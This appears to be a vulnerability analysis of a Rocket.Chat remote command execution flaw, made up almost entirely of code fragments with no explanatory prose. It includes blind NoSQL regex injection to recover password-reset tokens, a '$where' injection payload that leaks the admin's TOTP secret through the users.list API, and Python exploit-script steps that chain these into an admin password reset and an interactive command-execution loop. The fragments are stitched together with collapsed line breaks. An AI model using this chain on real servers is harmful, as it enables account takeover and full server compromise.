Rocket.Chat 远程命令执行漏洞分析

getPasswordPolicy(params) {        const user = Users.findOne({ 'services.password.reset.token': params.token });        if (!user && !Meteor.userId()) {            throw new Meteor.Error('error-invalid-user', 'Invalid user', {                method: 'getPasswordPolicy',            });        }        return passwordPolicy.getPasswordPolicy();    }

Users.findOne({     'services.password.reset.token': {        '$regex': '^A'    } })

API.v1.addRoute('users.list', { authRequired: true }, {    get() {        // ...        const { sort, fields, query } = this.parseJsonQuery();        const users = Users.find(query, {/*...*/}).fetch();        return API.v1.success({            users,            // ...        });    },});

Users.find(    {        "$where":"this.username==='admin' && (()=>{ throw JSON.stringify(this) })()"    },     {/*...*/}).fetch();

# Getting Low Priv userprint(f"[+] Resetting {lowprivmail} password")## Sending Reset Mailforgotpassword(lowprivmail,target)
## Getting reset token through blind nosql injectiontoken = resettoken(target)
## Changing Passwordchangingpassword(target,token)

# Privilege Escalation to admin## Getting secret for 2fasecret = twofactor(target,lowprivmail)

def twofactor(url,email):    # Authenticating    # ...    print(f"[+] Succesfully authenticated as {email}")
    # Getting 2fa code    cookies = {'rc_uid': userid,'rc_token': token}    headers={'X-User-Id': userid,'X-Auth-Token': token}    payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d'admin'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'    r = requests.get(url+payload,cookies=cookies,headers=headers)    code = r.text[46:98]

{    "_id" : "x",     ...    "services" : {         "password" : {             ...        },         ...,        "emails" : [ {             "address" : "[email protected]",             "verified" : true        } ],         "roles" : [ "admin" ],         "name" : "username",        ...}

## Sending Reset mailprint(f"[+] Resetting {adminmail} password")forgotpassword(adminmail,target)
## Getting admin reset token through nosql injection authenticatedtoken = admin_token(target,lowprivmail)
## Resetting Passwordcode = oathtool.generate_otp(secret)changingadminpassword(target,token,code)

resetPassword: function () {    // ...    try {        // Update the user record by:        // - Changing the password to the new one        // - Forgetting about the reset token that was just used        // - Verifying their email, since they got the password reset via email.        const affectedRecords = Meteor.users.update({            'services.password.reset.token': token        }, {            $unset: {                'services.password.reset': 1,            }        });    }}

Accounts.sendResetPasswordEmail = (userId, email, extraTokenData) => {  const {/*...*/} = Accounts.generateResetToken(userId, email, 'resetPassword', extraTokenData);

## Authenticating and triggering rce
while True:    cmd = input("CMD:> ")    code = oathtool.generate_otp(secret)    rce(target,code,cmd)